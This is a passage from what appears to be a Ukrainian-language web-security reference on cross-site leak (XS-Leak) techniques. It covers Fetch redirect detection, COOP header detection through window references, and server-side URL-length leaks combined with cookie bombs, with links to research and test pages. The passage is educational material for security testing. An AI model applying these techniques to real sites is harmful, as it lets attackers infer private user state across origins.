* **Більше інформації**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Резюме:** GC та SA дозволяють перевірити тип відповіді (opaque-redirect) після завершення перенаправлення.
* **Приклад коду**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Надсилаючи запит за допомогою Fetch API з `redirect: "manual"` та іншими параметрами, можливо прочитати атрибут `response.type`, і якщо він дорівнює `opaqueredirect`, то відповідь була перенаправленням.

### COOP

* **Методи включення**: Вікна
* **Виявна різниця**: Заголовок
* **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Резюме:** Сторінки, захищені політикою відкривача крос-доменів (COOP), запобігають доступу з крос-доменної взаємодії.
* **Приклад коду**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Зловмисник здатний вивести наявність заголовка політики відкривача крос-доменів (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для запобігання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати **посилання `contentWindow`**. У ситуаціях, коли COOP застосовується умовно, **властивість `opener`** стає показником: вона **невизначена**, коли COOP активний, і **визначена** у його відсутності.

### URL Max Length - Server Side

* **Методи включення**: Fetch API, HTML елементи
* **Виявна різниця**: Код статусу / Вміст
* **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає з помилкою, і генерується сповіщення.
* **Приклад коду**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Якщо перенаправлення на стороні сервера використовує **вхідні дані користувача всередині перенаправлення** та **додаткові дані**. Можливо виявити цю поведінку, оскільки зазвичай **сервера** мають **обмеження на довжину запиту**. Якщо **дані користувача** мають **довжину - 1**, оскільки **перенаправлення** використовує **ці дані** та **додає** щось **додаткове**, це викличе **помилку, що виявляється через події помилок**.

Якщо ви якимось чином можете встановити куки для користувача, ви також можете виконати цю атаку, **встановивши достатню кількість куків** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), так що з **збільшенням розміру відповіді** **правильної відповіді** викликається **помилка**. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, `<script>` автоматично надішле куки (тому ви можете перевірити на помилки).\
Приклад **cookie bomb + XS-Search** можна знайти в запланованому рішенні цього звіту: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)